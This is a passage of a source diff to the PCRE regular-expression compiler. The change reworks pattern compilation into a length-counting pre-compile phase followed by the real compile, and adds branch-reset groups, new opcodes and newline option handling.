       while ((ptr[1] & 0xc0) == 0x80)
         mcbuffer[mclength++] = *(++ptr);
@@ -3506,6 +5548,11 @@
     *code++ = ((options & PCRE_CASELESS) != 0)? OP_CHARNC : OP_CHAR;
     for (c = 0; c < mclength; c++) *code++ = mcbuffer[c];
 
+    /* Remember if \r or \n were seen */
+
+    if (mcbuffer[0] == CHAR_CR || mcbuffer[0] == CHAR_NL)
+      cd->external_flags |= PCRE_HASCRORLF;
+
     /* Set the first and required bytes appropriately. If no previous first
     byte, set it from this character, but revert to none on a zero repeat.
     Otherwise, leave the firstbyte value alone, and don't change it on a zero
@@ -3542,6 +5589,7 @@
     }
   }                   /* end of big loop */
 
+
 /* Control never reaches here by falling through, only by a goto for all the
 error states. Pass back the position in the pattern so that it can be displayed
 to the user for diagnosing the error. */
@@ -3558,35 +5606,42 @@
 *     Compile sequence of alternatives           *
 *************************************************/
 
-/* On entry, ptr is pointing past the bracket character, but on return
-it points to the closing bracket, or vertical bar, or end of string.
-The code variable is pointing at the byte into which the BRA operator has been
-stored. If the ims options are changed at the start (for a (?ims: group) or
-during any branch, we need to insert an OP_OPT item at the start of every
-following branch to ensure they get set correctly at run time, and also pass
-the new options into every subsequent branch compile.
+/* On entry, ptr is pointing past the bracket character, but on return it
+points to the closing bracket, or vertical bar, or end of string. The code
+variable is pointing at the byte into which the BRA operator has been stored.
+If the ims options are changed at the start (for a (?ims: group) or during any
+branch, we need to insert an OP_OPT item at the start of every following branch
+to ensure they get set correctly at run time, and also pass the new options
+into every subsequent branch compile.
 
-Argument:
+This function is used during the pre-compile phase when we are trying to find
+out the amount of memory needed, as well as during the real compile phase. The
+value of lengthptr distinguishes the two phases.
+
+Arguments:
   options        option bits, including any changes for this subpattern
   oldims         previous settings of ims option bits
-  brackets       -> int containing the number of extracting brackets used
   codeptr        -> the address of the current code pointer
   ptrptr         -> the address of the current pattern pointer
   errorcodeptr   -> pointer to error code variable
   lookbehind     TRUE if this is a lookbehind assertion
-  skipbytes      skip this many bytes at start (for OP_COND, OP_BRANUMBER)
+  reset_bracount TRUE to reset the count for each branch
+  skipbytes      skip this many bytes at start (for brackets and OP_COND)
   firstbyteptr   place to put the first required character, or a negative number
   reqbyteptr     place to put the last required character, or a negative number
   bcptr          pointer to the chain of currently open branches
   cd             points to the data block with tables pointers etc.
+  lengthptr      NULL during the real compile phase
+                 points to length accumulator during pre-compile phase
 
-Returns:      TRUE on success
+Returns:         TRUE on success
 */
 
 static BOOL
-compile_regex(int options, int oldims, int *brackets, uschar **codeptr,
-  const uschar **ptrptr, int *errorcodeptr, BOOL lookbehind, int skipbytes,
-  int *firstbyteptr, int *reqbyteptr, branch_chain *bcptr, compile_data *cd)
+compile_regex(int options, int oldims, uschar **codeptr, const uschar **ptrptr,
+  int *errorcodeptr, BOOL lookbehind, BOOL reset_bracount, int skipbytes,
+  int *firstbyteptr, int *reqbyteptr, branch_chain *bcptr, compile_data *cd,
+  int *lengthptr)
 {
 const uschar *ptr = *ptrptr;
 uschar *code = *codeptr;
@@ -3595,6 +5650,9 @@
 uschar *reverse_count = NULL;
 int firstbyte, reqbyte;
 int branchfirstbyte, branchreqbyte;
+int length;
+int orig_bracount;
+int max_bracount;
 branch_chain bc;
 
 bc.outer = bcptr;
@@ -3602,6 +5660,20 @@
 
 firstbyte = reqbyte = REQ_UNSET;
 
+/* Accumulate the length for use in the pre-compile phase. Start with the
+length of the BRA and KET and any extra bytes that are required at the
+beginning. We accumulate in a local variable to save frequent testing of
+lenthptr for NULL. We cannot do this by looking at the value of code at the
+start and end of each alternative, because compiled items are discarded during
+the pre-compile phase so that the work space is not exceeded. */
+
+length = 2 + 2*LINK_SIZE + skipbytes;
+
+/* WARNING: If the above line is changed for any reason, you must also change
+the code that abstracts option settings at the start of the pattern and makes
+them global. It tests the value of length for (2 + 2*LINK_SIZE) in the
+pre-compile phase to find out whether anything has yet been compiled or not. */
+
 /* Offset is set zero to mark that this bracket is still open */
 
 PUT(code, 1, 0);
@@ -3609,14 +5681,21 @@
 
 /* Loop for each alternative branch */
 
+orig_bracount = max_bracount = cd->bracount;
 for (;;)
   {
+  /* For a (?| group, reset the capturing bracket count so that each branch
+  uses the same numbers. */
+
+  if (reset_bracount) cd->bracount = orig_bracount;
+
   /* Handle a change of ims options at the start of the branch */
 
   if ((options & PCRE_IMS) != oldims)
     {
     *code++ = OP_OPT;
     *code++ = options & PCRE_IMS;
+    length += 2;
     }
 
   /* Set up dummy OP_REVERSE if lookbehind assertion */
@@ -3626,95 +5705,110 @@
     *code++ = OP_REVERSE;
     reverse_count = code;
     PUTINC(code, 0, 0);
+    length += 1 + LINK_SIZE;
     }
 
-  /* Now compile the branch */
+  /* Now compile the branch; in the pre-compile phase its length gets added
+  into the length. */
 
-  if (!compile_branch(&options, brackets, &code, &ptr, errorcodeptr,
-        &branchfirstbyte, &branchreqbyte, &bc, cd))
+  if (!compile_branch(&options, &code, &ptr, errorcodeptr, &branchfirstbyte,
+        &branchreqbyte, &bc, cd, (lengthptr == NULL)? NULL : &length))
     {
     *ptrptr = ptr;
     return FALSE;
     }
 
-  /* If this is the first branch, the firstbyte and reqbyte values for the
-  branch become the values for the regex. */
+  /* Keep the highest bracket count in case (?| was used and some branch
+  has fewer than the rest. */
 
-  if (*last_branch != OP_ALT)
-    {
-    firstbyte = branchfirstbyte;
-    reqbyte = branchreqbyte;
-    }
+  if (cd->bracount > max_bracount) max_bracount = cd->bracount;
 
-  /* If this is not the first branch, the first char and reqbyte have to
-  match the values from all the previous branches, except that if the previous
-  value for reqbyte didn't have REQ_VARY set, it can still match, and we set
-  REQ_VARY for the regex. */
+  /* In the real compile phase, there is some post-processing to be done. */
 
-  else
+  if (lengthptr == NULL)
     {
-    /* If we previously had a firstbyte, but it doesn't match the new branch,
-    we have to abandon the firstbyte for the regex, but if there was previously
-    no reqbyte, it takes on the value of the old firstbyte. */
+    /* If this is the first branch, the firstbyte and reqbyte values for the
+    branch become the values for the regex. */
 
-    if (firstbyte >= 0 && firstbyte != branchfirstbyte)
+    if (*last_branch != OP_ALT)
       {
-      if (reqbyte < 0) reqbyte = firstbyte;
-      firstbyte = REQ_NONE;
+      firstbyte = branchfirstbyte;
+      reqbyte = branchreqbyte;
       }
 
-    /* If we (now or from before) have no firstbyte, a firstbyte from the
-    branch becomes a reqbyte if there isn't a branch reqbyte. */
+    /* If this is not the first branch, the first char and reqbyte have to
+    match the values from all the previous branches, except that if the
+    previous value for reqbyte didn't have REQ_VARY set, it can still match,
+    and we set REQ_VARY for the regex. */
 
-    if (firstbyte < 0 && branchfirstbyte >= 0 && branchreqbyte < 0)
-        branchreqbyte = branchfirstbyte;
+    else
+      {
+      /* If we previously had a firstbyte, but it doesn't match the new branch,
+      we have to abandon the firstbyte for the regex, but if there was
+      previously no reqbyte, it takes on the value of the old firstbyte. */
 
-    /* Now ensure that the reqbytes match */
+      if (firstbyte >= 0 && firstbyte != branchfirstbyte)
+        {
+        if (reqbyte < 0) reqbyte = firstbyte;
+        firstbyte = REQ_NONE;
+        }
 
-    if ((reqbyte & ~REQ_VARY) != (branchreqbyte & ~REQ_VARY))
-      reqbyte = REQ_NONE;
-    else reqbyte |= branchreqbyte;   /* To "or" REQ_VARY */
-    }
+      /* If we (now or from before) have no firstbyte, a firstbyte from the
+      branch becomes a reqbyte if there isn't a branch reqbyte. */
 
-  /* If lookbehind, check that this branch matches a fixed-length string,
-  and put the length into the OP_REVERSE item. Temporarily mark the end of
-  the branch with OP_END. */
+      if (firstbyte < 0 && branchfirstbyte >= 0 && branchreqbyte < 0)
+          branchreqbyte = branchfirstbyte;
 
-  if (lookbehind)
-    {
-    int length;
-    *code = OP_END;
-    length = find_fixedlength(last_branch, options);
-    DPRINTF(("fixed length = %d\n", length));
-    if (length < 0)
+      /* Now ensure that the reqbytes match */
+
+      if ((reqbyte & ~REQ_VARY) != (branchreqbyte & ~REQ_VARY))
+        reqbyte = REQ_NONE;
+      else reqbyte |= branchreqbyte;   /* To "or" REQ_VARY */
+      }
+
+    /* If lookbehind, check that this branch matches a fixed-length string, and
+    put the length into the OP_REVERSE item. Temporarily mark the end of the
+    branch with OP_END. */
+
+    if (lookbehind)
       {
-      *errorcodeptr = (length == -2)? ERR36 : ERR25;
-      *ptrptr = ptr;
-      return FALSE;
+      int fixed_length;
+      *code = OP_END;
+      fixed_length = find_fixedlength(last_branch, options);
+      DPRINTF(("fixed length = %d\n", fixed_length));
+      if (fixed_length < 0)
+        {
+        *errorcodeptr = (fixed_length == -2)? ERR36 : ERR25;
+        *ptrptr = ptr;
+        return FALSE;
+        }
+      PUT(reverse_count, 0, fixed_length);
       }
-    PUT(reverse_count, 0, length);
     }
 
-  /* Reached end of expression, either ')' or end of pattern. Go back through
-  the alternative branches and reverse the chain of offsets, with the field in
-  the BRA item now becoming an offset to the first alternative. If there are
-  no alternatives, it points to the end of the group. The length in the
-  terminating ket is always the length of the whole bracketed item. If any of
-  the ims options were changed inside the group, compile a resetting op-code
-  following, except at the very end of the pattern. Return leaving the pointer
-  at the terminating char. */
+  /* Reached end of expression, either ')' or end of pattern. In the real
+  compile phase, go back through the alternative branches and reverse the chain
+  of offsets, with the field in the BRA item now becoming an offset to the
+  first alternative. If there are no alternatives, it points to the end of the
+  group. The length in the terminating ket is always the length of the whole
+  bracketed item. If any of the ims options were changed inside the group,
+  compile a resetting op-code following, except at the very end of the pattern.
+  Return leaving the pointer at the terminating char. */
 
-  if (*ptr != '|')
+  if (*ptr != CHAR_VERTICAL_LINE)
     {
-    int length = code - last_branch;
-    do
+    if (lengthptr == NULL)
       {
-      int prev_length = GET(last_branch, 1);
-      PUT(last_branch, 1, length);
-      length = prev_length;
-      last_branch -= length;
+      int branch_length = code - last_branch;
+      do
+        {
+        int prev_length = GET(last_branch, 1);
+        PUT(last_branch, 1, branch_length);
+        branch_length = prev_length;
+        last_branch -= branch_length;
+        }
+      while (branch_length > 0);
       }
-    while (length > 0);
 
     /* Fill in the ket */
 
@@ -3724,30 +5818,57 @@
 
     /* Resetting option if needed */
 
-    if ((options & PCRE_IMS) != oldims && *ptr == ')')
+    if ((options & PCRE_IMS) != oldims && *ptr == CHAR_RIGHT_PARENTHESIS)
       {
       *code++ = OP_OPT;
       *code++ = oldims;
+      length += 2;
       }
 
+    /* Retain the highest bracket number, in case resetting was used. */
+
+    cd->bracount = max_bracount;
+
     /* Set values to pass back */
 
     *codeptr = code;
     *ptrptr = ptr;
     *firstbyteptr = firstbyte;
     *reqbyteptr = reqbyte;
+    if (lengthptr != NULL)
+      {
+      if (OFLOW_MAX - *lengthptr < length)
+        {
+        *errorcodeptr = ERR20;
+        return FALSE;
+        }
+      *lengthptr += length;
+      }
     return TRUE;
     }
 
-  /* Another branch follows; insert an "or" node. Its length field points back
+  /* Another branch follows. In the pre-compile phase, we can move the code
+  pointer back to where it was for the start of the first branch. (That is,
+  pretend that each branch is the only one.)
+
+  In the real compile phase, insert an ALT node. Its length field points back
   to the previous branch while the bracket remains open. At the end the chain
   is reversed. It's done like this so that the start of the bracket has a
   zero offset until it is closed, making it possible to detect recursion. */
 
-  *code = OP_ALT;
-  PUT(code, 1, code - last_branch);
-  bc.current = last_branch = code;
-  code += 1 + LINK_SIZE;
+  if (lengthptr != NULL)
+    {
+    code = *codeptr + 1 + LINK_SIZE + skipbytes;
+    length += 1 + LINK_SIZE;
+    }
+  else
+    {
+    *code = OP_ALT;
+    PUT(code, 1, code - last_branch);
+    bc.current = last_branch = code;
+    code += 1 + LINK_SIZE;
+    }
+
   ptr++;
   }
 /* Control never reaches here */
@@ -3799,35 +5920,41 @@
   unsigned int backref_map)
 {
 do {
-   const uschar *scode =
-     first_significant_code(code + 1+LINK_SIZE, options, PCRE_MULTILINE, FALSE);
+   const uschar *scode = first_significant_code(code + _pcre_OP_lengths[*code],
+     options, PCRE_MULTILINE, FALSE);
    register int op = *scode;
 
+   /* Non-capturing brackets */
+
+   if (op == OP_BRA)
+     {
+     if (!is_anchored(scode, options, bracket_map, backref_map)) return FALSE;
+     }
+
    /* Capturing brackets */
 
-   if (op > OP_BRA)
+   else if (op == OP_CBRA)
      {
-     int new_map;
-     op -= OP_BRA;
-     if (op > EXTRACT_BASIC_MAX) op = GET2(scode, 2+LINK_SIZE);
-     new_map = bracket_map | ((op < 32)? (1 << op) : 1);
+     int n = GET2(scode, 1+LINK_SIZE);
+     int new_map = bracket_map | ((n < 32)? (1 << n) : 1);
      if (!is_anchored(scode, options, new_map, backref_map)) return FALSE;
      }
 
    /* Other brackets */
 
-   else if (op == OP_BRA || op == OP_ASSERT || op == OP_ONCE || op == OP_COND)
+   else if (op == OP_ASSERT || op == OP_ONCE || op == OP_COND)
      {
      if (!is_anchored(scode, options, bracket_map, backref_map)) return FALSE;
      }
 
-   /* .* is not anchored unless DOTALL is set and it isn't in brackets that
-   are or may be referenced. */
+   /* .* is not anchored unless DOTALL is set (which generates OP_ALLANY) and
+   it isn't in brackets that are or may be referenced. */
 
-   else if ((op == OP_TYPESTAR || op == OP_TYPEMINSTAR) &&
-            (*options & PCRE_DOTALL) != 0)
+   else if ((op == OP_TYPESTAR || op == OP_TYPEMINSTAR ||
+             op == OP_TYPEPOSSTAR))
      {
-     if (scode[1] != OP_ANY || (bracket_map & backref_map) != 0) return FALSE;
+     if (scode[1] != OP_ALLANY || (bracket_map & backref_map) != 0)
+       return FALSE;
      }
 
    /* Check for explicit anchoring */
@@ -3869,30 +5996,63 @@
   unsigned int backref_map)
 {
 do {
-   const uschar *scode = first_significant_code(code + 1+LINK_SIZE, NULL, 0,
-     FALSE);
+   const uschar *scode = first_significant_code(code + _pcre_OP_lengths[*code],
+     NULL, 0, FALSE);
    register int op = *scode;
 
+   /* If we are at the start of a conditional assertion group, *both* the
+   conditional assertion *and* what follows the condition must satisfy the test
+   for start of line. Other kinds of condition fail. Note that there may be an
+   auto-callout at the start of a condition. */
+
+   if (op == OP_COND)
+     {
+     scode += 1 + LINK_SIZE;
+     if (*scode == OP_CALLOUT) scode += _pcre_OP_lengths[OP_CALLOUT];
+     switch (*scode)
+       {
+       case OP_CREF:
+       case OP_RREF:
+       case OP_DEF:
+       return FALSE;
+
+       default:     /* Assertion */
+       if (!is_startline(scode, bracket_map, backref_map)) return FALSE;
+       do scode += GET(scode, 1); while (*scode == OP_ALT);
+       scode += 1 + LINK_SIZE;
+       break;
+       }
+     scode = first_significant_code(scode, NULL, 0, FALSE);
+     op = *scode;
+     }
+
+   /* Non-capturing brackets */
+
+   if (op == OP_BRA)
+     {
+     if (!is_startline(scode, bracket_map, backref_map)) return FALSE;
+     }
+
    /* Capturing brackets */
 
-   if (op > OP_BRA)
+   else if (op == OP_CBRA)
      {
-     int new_map;
-     op -= OP_BRA;
-     if (op > EXTRACT_BASIC_MAX) op = GET2(scode, 2+LINK_SIZE);
-     new_map = bracket_map | ((op < 32)? (1 << op) : 1);
+     int n = GET2(scode, 1+LINK_SIZE);
+     int new_map = bracket_map | ((n < 32)? (1 << n) : 1);
      if (!is_startline(scode, new_map, backref_map)) return FALSE;
      }
 
    /* Other brackets */
 
-   else if (op == OP_BRA || op == OP_ASSERT || op == OP_ONCE || op == OP_COND)
-     { if (!is_startline(scode, bracket_map, backref_map)) return FALSE; }
+   else if (op == OP_ASSERT || op == OP_ONCE)
+     {
+     if (!is_startline(scode, bracket_map, backref_map)) return FALSE;
+     }
 
    /* .* means "start at start or after \n" if it isn't in brackets that
    may be referenced. */
 
-   else if (op == OP_TYPESTAR || op == OP_TYPEMINSTAR)
+   else if (op == OP_TYPESTAR || op == OP_TYPEMINSTAR || op == OP_TYPEPOSSTAR)
      {
      if (scode[1] != OP_ANY || (bracket_map & backref_map) != 0) return FALSE;
      }
@@ -3941,14 +6101,13 @@
      first_significant_code(code + 1+LINK_SIZE, options, PCRE_CASELESS, TRUE);
    register int op = *scode;
 
-   if (op >= OP_BRA) op = OP_BRA;
-
    switch(op)
      {
      default:
      return -1;
 
      case OP_BRA:
+     case OP_CBRA:
      case OP_ASSERT:
      case OP_ONCE:
      case OP_COND:
@@ -3964,6 +6123,7 @@
      case OP_CHARNC:
      case OP_PLUS:
      case OP_MINPLUS:
+     case OP_POSPLUS:
      if (!inassert) return -1;
      if (c < 0)
        {
@@ -4004,7 +6164,7 @@
                 with errorptr and erroroffset set
 */
 
-PCRE_DATA_SCOPE pcre *
+PCRE_EXP_DEFN pcre * PCRE_CALL_CONVENTION
 pcre_compile(const char *pattern, int options, const char **errorptr,
   int *erroroffset, const unsigned char *tables)
 {
@@ -4012,38 +6172,37 @@
 }
 
 
-
-PCRE_DATA_SCOPE pcre *
+PCRE_EXP_DEFN pcre * PCRE_CALL_CONVENTION
 pcre_compile2(const char *pattern, int options, int *errorcodeptr,
   const char **errorptr, int *erroroffset, const unsigned char *tables)
 {
 real_pcre *re;
-int length = 1 + LINK_SIZE;      /* For initial BRA plus length */
-int c, firstbyte, reqbyte, newline;
-int bracount = 0;
-int branch_extra = 0;
-int branch_newextra;
-int item_count = -1;
-int name_count = 0;
-int max_name_size = 0;
-int lastitemlength = 0;
+int length = 1;  /* For final END opcode */
+int firstbyte, reqbyte, newline;
 int errorcode = 0;
+int skipatstart = 0;
 #ifdef SUPPORT_UTF8
 BOOL utf8;
-BOOL class_utf8;
 #endif
-BOOL inescq = FALSE;
-BOOL capturing;
-unsigned int brastackptr = 0;
 size_t size;
 uschar *code;
 const uschar *codestart;
 const uschar *ptr;
 compile_data compile_block;
 compile_data *cd = &compile_block;
-int brastack[BRASTACK_SIZE];
-uschar bralenstack[BRASTACK_SIZE];
 
+/* This space is used for "compiling" into during the first phase, when we are
+computing the amount of memory that is needed. Compiled items are thrown away
+as soon as possible, so that a fairly large buffer should be sufficient for
+this purpose. The same space is used in the second phase for remembering where
+to fill in forward references to subpatterns. */
+
+uschar cworkspace[COMPILE_WORK_SIZE];
+
+/* Set this early so that early errors get offset 0. */
+
+ptr = (const uschar *)pattern;
+
 /* We can't pass back an error message if errorptr is NULL; I guess the best we
 can do is just return NULL, but we can set a code value if there is a code
 pointer. */
@@ -4062,11 +6221,62 @@
 if (erroroffset == NULL)
   {
   errorcode = ERR16;
-  goto PCRE_EARLY_ERROR_RETURN;
+  goto PCRE_EARLY_ERROR_RETURN2;
   }
 
 *erroroffset = 0;
 
+/* Set up pointers to the individual character tables */
+
+if (tables == NULL) tables = _pcre_default_tables;
+cd->lcc = tables + lcc_offset;
+cd->fcc = tables + fcc_offset;
+cd->cbits = tables + cbits_offset;
+cd->ctypes = tables + ctypes_offset;
+
+/* Check that all undefined public option bits are zero */
+
+if ((options & ~PUBLIC_COMPILE_OPTIONS) != 0)
+  {
+  errorcode = ERR17;
+  goto PCRE_EARLY_ERROR_RETURN;
+  }
+
+/* Check for global one-time settings at the start of the pattern, and remember
+the offset for later. */
+
+while (ptr[skipatstart] == CHAR_LEFT_PARENTHESIS &&
+       ptr[skipatstart+1] == CHAR_ASTERISK)
+  {
+  int newnl = 0;
+  int newbsr = 0;
+
+  if (strncmp((char *)(ptr+skipatstart+2), STRING_UTF8_RIGHTPAR, 5) == 0)
+    { skipatstart += 7; options |= PCRE_UTF8; continue; }
+
+  if (strncmp((char *)(ptr+skipatstart+2), STRING_CR_RIGHTPAR, 3) == 0)
+    { skipatstart += 5; newnl = PCRE_NEWLINE_CR; }
+  else if (strncmp((char *)(ptr+skipatstart+2), STRING_LF_RIGHTPAR, 3)  == 0)
+    { skipatstart += 5; newnl = PCRE_NEWLINE_LF; }
+  else if (strncmp((char *)(ptr+skipatstart+2), STRING_CRLF_RIGHTPAR, 5)  == 0)
+    { skipatstart += 7; newnl = PCRE_NEWLINE_CR + PCRE_NEWLINE_LF; }
+  else if (strncmp((char *)(ptr+skipatstart+2), STRING_ANY_RIGHTPAR, 4) == 0)
+    { skipatstart += 6; newnl = PCRE_NEWLINE_ANY; }
+  else if (strncmp((char *)(ptr+skipatstart+2), STRING_ANYCRLF_RIGHTPAR, 8) == 0)
+    { skipatstart += 10; newnl = PCRE_NEWLINE_ANYCRLF; }
+
+  else if (strncmp((char *)(ptr+skipatstart+2), STRING_BSR_ANYCRLF_RIGHTPAR, 12) == 0)
+    { skipatstart += 14; newbsr = PCRE_BSR_ANYCRLF; }
+  else if (strncmp((char *)(ptr+skipatstart+2), STRING_BSR_UNICODE_RIGHTPAR, 12) == 0)
+    { skipatstart += 14; newbsr = PCRE_BSR_UNICODE; }
+
+  if (newnl != 0)
+    options = (options & ~PCRE_NEWLINE_BITS) | newnl;
+  else if (newbsr != 0)
+    options = (options & ~(PCRE_BSR_ANYCRLF|PCRE_BSR_UNICODE)) | newbsr;
+  else break;
+  }
+
 /* Can't support UTF8 unless PCRE has been compiled to include the code. */
 
 #ifdef SUPPORT_UTF8
@@ -4075,7 +6285,7 @@
      (*erroroffset = _pcre_valid_utf8((uschar *)pattern, -1)) >= 0)
   {
   errorcode = ERR44;
-  goto PCRE_EARLY_ERROR_RETURN;
+  goto PCRE_EARLY_ERROR_RETURN2;
   }
 #else
 if ((options & PCRE_UTF8) != 0)
@@ -4085,48 +6295,60 @@
   }
 #endif
 
-if ((options & ~PUBLIC_OPTIONS) != 0)
+/* Check validity of \R options. */
+
+switch (options & (PCRE_BSR_ANYCRLF|PCRE_BSR_UNICODE))
   {
-  errorcode = ERR17;
-  goto PCRE_EARLY_ERROR_RETURN;
+  case 0:
+  case PCRE_BSR_ANYCRLF:
+  case PCRE_BSR_UNICODE:
+  break;
+  default: errorcode = ERR56; goto PCRE_EARLY_ERROR_RETURN;
   }
 
-/* Set up pointers to the individual character tables */
+/* Handle different types of newline. The three bits give seven cases. The
+current code allows for fixed one- or two-byte sequences, plus "any" and
+"anycrlf". */
 
-if (tables == NULL) tables = _pcre_default_tables;
-cd->lcc = tables + lcc_offset;
-cd->fcc = tables + fcc_offset;
-cd->cbits = tables + cbits_offset;
-cd->ctypes = tables + ctypes_offset;
-
-/* Handle different types of newline. The two bits give four cases. The current
-code allows for one- or two-byte sequences. */
-
-switch (options & PCRE_NEWLINE_CRLF)
+switch (options & PCRE_NEWLINE_BITS)
   {
-  default:              newline = NEWLINE; break;   /* Compile-time default */
-  case PCRE_NEWLINE_CR: newline = '\r'; break;
-  case PCRE_NEWLINE_LF: newline = '\n'; break;
+  case 0: newline = NEWLINE; break;   /* Build-time default */
+  case PCRE_NEWLINE_CR: newline = CHAR_CR; break;
+  case PCRE_NEWLINE_LF: newline = CHAR_NL; break;
   case PCRE_NEWLINE_CR+
-       PCRE_NEWLINE_LF: newline = ('\r' << 8) | '\n'; break;
+       PCRE_NEWLINE_LF: newline = (CHAR_CR << 8) | CHAR_NL; break;
+  case PCRE_NEWLINE_ANY: newline = -1; break;
+  case PCRE_NEWLINE_ANYCRLF: newline = -2; break;
+  default: errorcode = ERR56; goto PCRE_EARLY_ERROR_RETURN;
   }
 
-if (newline > 255)
+if (newline == -2)
   {
-  cd->nllen = 2;
-  cd->nl[0] = (newline >> 8) & 255;
-  cd->nl[1] = newline & 255;
+  cd->nltype = NLTYPE_ANYCRLF;
   }
+else if (newline < 0)
+  {
+  cd->nltype = NLTYPE_ANY;
+  }
 else
   {
-  cd->nllen = 1;
-  cd->nl[0] = newline;
+  cd->nltype = NLTYPE_FIXED;
+  if (newline > 255)
+    {
+    cd->nllen = 2;
+    cd->nl[0] = (newline >> 8) & 255;
+    cd->nl[1] = newline & 255;
+    }
+  else
+    {
+    cd->nllen = 1;
+    cd->nl[0] = newline;
+    }
   }
 
-/* Maximum back reference and backref bitmap. This is updated for numeric
-references during the first pass, but for named references during the actual
-compile pass. The bitmap records up to 31 back references to help in deciding
-whether (.*) can be treated as anchored or not. */
+/* Maximum back reference and backref bitmap. The bitmap records up to 31 back
+references to help in deciding whether (.*) can be treated as anchored or not.
+*/
 
 cd->top_backref = 0;
 cd->backref_map = 0;
@@ -4136,953 +6358,43 @@
 DPRINTF(("------------------------------------------------------------------\n"));
 DPRINTF(("%s\n", pattern));
 
-/* The first thing to do is to make a pass over the pattern to compute the
-amount of store required to hold the compiled code. This does not have to be
-perfect as long as errors are overestimates. At the same time we can detect any
-flag settings right at the start, and extract them. Make an attempt to correct
-for any counted white space if an "extended" flag setting appears late in the
-pattern. We can't be so clever for #-comments. */
+/* Pretend to compile the pattern while actually just accumulating the length
+of memory required. This behaviour is triggered by passing a non-NULL final
+argument to compile_regex(). We pass a block of workspace (cworkspace) for it
+to compile parts of the pattern into; the compiled code is discarded when it is
+no longer needed, so hopefully this workspace will never overflow, though there
+is a test for its doing so. */
 
-ptr = (const uschar *)(pattern - 1);
-while ((c = *(++ptr)) != 0)
-  {
-  int min, max;
-  int class_optcount;
-  int bracket_length;
-  int duplength;
+cd->bracount = cd->final_bracount = 0;
+cd->names_found = 0;
+cd->name_entry_size = 0;
+cd->name_table = NULL;
+cd->start_workspace = cworkspace;
+cd->start_code = cworkspace;
+cd->hwm = cworkspace;
+cd->start_pattern = (const uschar *)pattern;
+cd->end_pattern = (const uschar *)(pattern + strlen(pattern));
+cd->req_varyopt = 0;
+cd->external_options = options;
+cd->external_flags = 0;
 
-  /* If we are inside a \Q...\E sequence, all chars are literal */
+/* Now do the pre-compile. On error, errorcode will be set non-zero, so we
+don't need to look at the result of the function here. The initial options have
+been put into the cd block so that they can be changed if an option setting is
+found within the regex right at the beginning. Bringing initial option settings
+outside can help speed up starting point checks. */
 
-  if (inescq)
-    {
-    if ((options & PCRE_AUTO_CALLOUT) != 0) length += 2 + 2*LINK_SIZE;
-    goto NORMAL_CHAR;
-    }
+ptr += skipatstart;
+code = cworkspace;
+*code = OP_BRA;
+(void)compile_regex(cd->external_options, cd->external_options & PCRE_IMS,
+  &code, &ptr, &errorcode, FALSE, FALSE, 0, &firstbyte, &reqbyte, NULL, cd,
+  &length);
+if (errorcode != 0) goto PCRE_EARLY_ERROR_RETURN;
 
-  /* Otherwise, first check for ignored whitespace and comments */
+DPRINTF(("end pre-compile: length=%d workspace=%d\n", length,
+  cd->hwm - cworkspace));
 
-  if ((options & PCRE_EXTENDED) != 0)
-    {
-    if ((cd->ctypes[c] & ctype_space) != 0) continue;
-    if (c == '#')
-      {
-      while (*(++ptr) != 0) if (IS_NEWLINE(ptr)) break;
-      if (*ptr != 0)
-        {
-        ptr += cd->nllen - 1;
-        continue;
-        }
-      break;    /* End loop at end of pattern */
-      }
-    }
-
-  item_count++;    /* Is zero for the first non-comment item */
-
-  /* Allow space for auto callout before every item except quantifiers. */
-
-  if ((options & PCRE_AUTO_CALLOUT) != 0 &&
-       c != '*' && c != '+' && c != '?' &&
-       (c != '{' || !is_counted_repeat(ptr + 1)))
-    length += 2 + 2*LINK_SIZE;
-
-  switch(c)
-    {
-    /* A backslashed item may be an escaped data character or it may be a
-    character type. */
-
-    case '\\':
-    c = check_escape(&ptr, &errorcode, bracount, options, FALSE);
-    if (errorcode != 0) goto PCRE_ERROR_RETURN;
-
-    lastitemlength = 1;     /* Default length of last item for repeats */
-
-    if (c >= 0)             /* Data character */
-      {
-      length += 2;          /* For a one-byte character */
-
-#ifdef SUPPORT_UTF8
-      if (utf8 && c > 127)
-        {
-        int i;
-        for (i = 0; i < _pcre_utf8_table1_size; i++)
-          if (c <= _pcre_utf8_table1[i]) break;
-        length += i;
-        lastitemlength += i;
-        }
-#endif
-
-      continue;
-      }
-
-    /* If \Q, enter "literal" mode */
-
-    if (-c == ESC_Q)
-      {
-      inescq = TRUE;
-      continue;
-      }
-
-    /* \X is supported only if Unicode property support is compiled */
-
-#ifndef SUPPORT_UCP
-    if (-c == ESC_X)
-      {
-      errorcode = ERR45;
-      goto PCRE_ERROR_RETURN;
-      }
-#endif
-
-    /* \P and \p are for Unicode properties, but only when the support has
-    been compiled. Each item needs 3 bytes. */
-
-    else if (-c == ESC_P || -c == ESC_p)
-      {
-#ifdef SUPPORT_UCP
-      BOOL negated;
-      BOOL pdata;
-      length += 3;
-      lastitemlength = 3;
-      if (get_ucp(&ptr, &negated, &pdata, &errorcode) < 0)
-        goto PCRE_ERROR_RETURN;
-      continue;
-#else
-      errorcode = ERR45;
-      goto PCRE_ERROR_RETURN;
-#endif
-      }
-
-    /* Other escapes need one byte */
-
-    length++;
-
-    /* A back reference needs an additional 2 bytes, plus either one or 5
-    bytes for a repeat. We also need to keep the value of the highest
-    back reference. */
-
-    if (c <= -ESC_REF)
-      {
-      int refnum = -c - ESC_REF;
-      cd->backref_map |= (refnum < 32)? (1 << refnum) : 1;
-      if (refnum > cd->top_backref)
-        cd->top_backref = refnum;
-      length += 2;   /* For single back reference */
-      if (ptr[1] == '{' && is_counted_repeat(ptr+2))
-        {
-        ptr = read_repeat_counts(ptr+2, &min, &max, &errorcode);
-        if (errorcode != 0) goto PCRE_ERROR_RETURN;
-        if ((min == 0 && (max == 1 || max == -1)) ||
-          (min == 1 && max == -1))
-            length++;
-        else length += 5;
-        if (ptr[1] == '?') ptr++;
-        }
-      }
-    continue;
-
-    case '^':     /* Single-byte metacharacters */
-    case '.':
-    case '$':
-    length++;
-    lastitemlength = 1;
-    continue;
-
-    case '*':            /* These repeats won't be after brackets; */
-    case '+':            /* those are handled separately */
-    case '?':
-    length++;
-    goto POSESSIVE;      /* A few lines below */
-
-    /* This covers the cases of braced repeats after a single char, metachar,
-    class, or back reference. */
-
-    case '{':
-    if (!is_counted_repeat(ptr+1)) goto NORMAL_CHAR;
-    ptr = read_repeat_counts(ptr+1, &min, &max, &errorcode);
-    if (errorcode != 0) goto PCRE_ERROR_RETURN;
-
-    /* These special cases just insert one extra opcode */
-
-    if ((min == 0 && (max == 1 || max == -1)) ||
-      (min == 1 && max == -1))
-        length++;
-
-    /* These cases might insert additional copies of a preceding character. */
-
-    else
-      {
